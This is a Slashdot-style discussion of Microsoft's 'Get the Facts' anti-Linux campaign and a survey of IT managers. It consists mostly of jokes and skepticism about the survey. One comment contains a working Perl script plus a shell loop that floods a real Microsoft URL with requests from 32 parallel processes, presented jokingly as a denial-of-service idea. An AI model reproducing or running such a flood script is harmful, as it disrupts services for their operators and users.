"Get the Facts" Campaign Working

brontus3927 writes "According to a Reseller Advocate Magazine write-up, Microsoft seems to be winning its war against Linux. Info-Tech Research Group recently ran a survey that is now being used on Microsoft's Get The Facts campaign. In it were some surprising results. 'After polling 1,400 IT managers and CIOs in SMB corporations, his group found that 48% were not interested in Linux, 15% were not sure about Linux, and only 10% plan to evaluate Linux." Despite this, two-thirds of all webservers run Linux. The disparity in these numbers comes from the fact that most smaller companies' websites are hosted by service providers running Linux servers even if the company itself isn't."

Comments

I'm offended

[jlebrech]

GNU/linux that is thanks you very much.

What about other companies?

[toupsie]

After polling 1,400 IT managers and CIOs in SMB corporations, his group found that 48% were not interested in Linux, 15% were not sure about Linux, and only 10% plan to evaluate Linux.

What about the NFS & AFP corporations? Not everyone runs CIFS.

Summary

[Mensa Babe]

For those who don't want to RTFA, here is a summary:

We think that you should buy from us.

I am shocked! Shocked, I say!

Re:OR, "CREATE" the facts?

[Anonymous Coward]

What could be less intimidating than a web site dedicated to gently walking managers through the maze of technical issues ostensibly improving their (the managers) effectiveness?

how devilishly cunning and devious of them, the mind boggles at how they could come up with such a dastardly strategy.

Re:Campaign NOT working - things have been this wa

[Anonymous Coward]

I see OSX starting to take over the desktop. It's a slow climb though, we aren't going to see everyone switch overnight. And if Longhorn is good, that takeover will promptly stop.

Re:We tried this...

[Anonymous Coward]

Nice troll, but why would the guy get fired if it was just an evaluation?

See, you're going to have to rework the whole thing now, because if you just did that minor correction alone, we'd still recognise it as a cut-n'-paste troll.

Thank you for playing Slashdot. Please come back again.

Sun still hot

[vegaspctech]

In unrelated news, a recent survey of scientists reveals that most believe that the sun is still pretty darned hot. "You wouldn't want that puppy in your pants" said one source who wished not to be identified. Moon worshipers worldwide were quick to point out that the sun survey was commissioned by sun worshipers. One source, who wished not to be identified, said "Sure the sun makes a pretty good sun, but it would make a lousy moon, but those sun fanboys fail to point that out." Both sides of this hot debate agreed that you needn't fresh or original content to get a bunch of page hits, you can simply rehash something on slashdot.

Re:Err...

[goldenratiophi]

But those "many other operating systems" don't include the most important one: Emacs! I feel offended.

Getthefacts site down

[the_olo]

Looks like someone is busy running:

#!/usr/bin/perl -w
# flood_MS.pl file

use strict;
use LWP::UserAgent;

my $url = 'http://www.microsoft.com/getthefacts';
# Internet Explorer 5.5 on Windows 2000:
my $agent = LWP::UserAgent->new('agent' => 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)');

my $request = HTTP::Request->new(GET => $url);

while (1) {
my $reply = $agent->request($request);
if ($reply->is_success) {
print "Success getting $url\n";
}
else {
print "Problem getting $url\n";
print $reply->status_line, "\n";
}
}

...in 32 parallel processes by running this:

for i in $(seq 32); do (./flood_MS.pl &); done;

Shhh, I weren't supposed to give people bad ideas ;)

Re:We tried this...

[Jesus_666]

Who's talking about unemployment? "not with us anymore" means the he got hung with a CAT5 cable, 'cause that's what we do with Open Source commies.

Re:OR, "CREATE" the facts?

[varebel]

I'm not normally a violent person. But, I think I would have had to beat his ass.

Linux: "Get the lies" Campaign Working

[Kilz]

Lets read between the lines

'After polling 1,400 IT managers and CIOs in SMB corporations,

The ones we got out of our registeration records who are only using windows.

This group

The group hired by Microsoft to do the survey

found that 48% were not interested in Linux,

Because they already paid for windows

15% were not sure about Linux

Becuse they never thought about it before.

and only 10% plan to evaluate Linux."

Because they will get a discount from Microsoft for taking the survey

Despite this, two-thirds of all webservers run Linux. The disparity in these numbers comes from the fact that most smaller companies' websites are hosted by service providers running Linux servers even if the company itself isn't."

"My my we didnt know that. We thought they were windows based."

Independant $$$ comparison?

[jokersmild]

I've been reading studies that are comissioned by M$. They seem to be spending a lot of money coming up with "studies" that are derogatory to Linux. I'd like to know if anybody in the Linux comunity has ever paid for a study to show how much Windows sucks, or is that knowledge just free and word of mouth?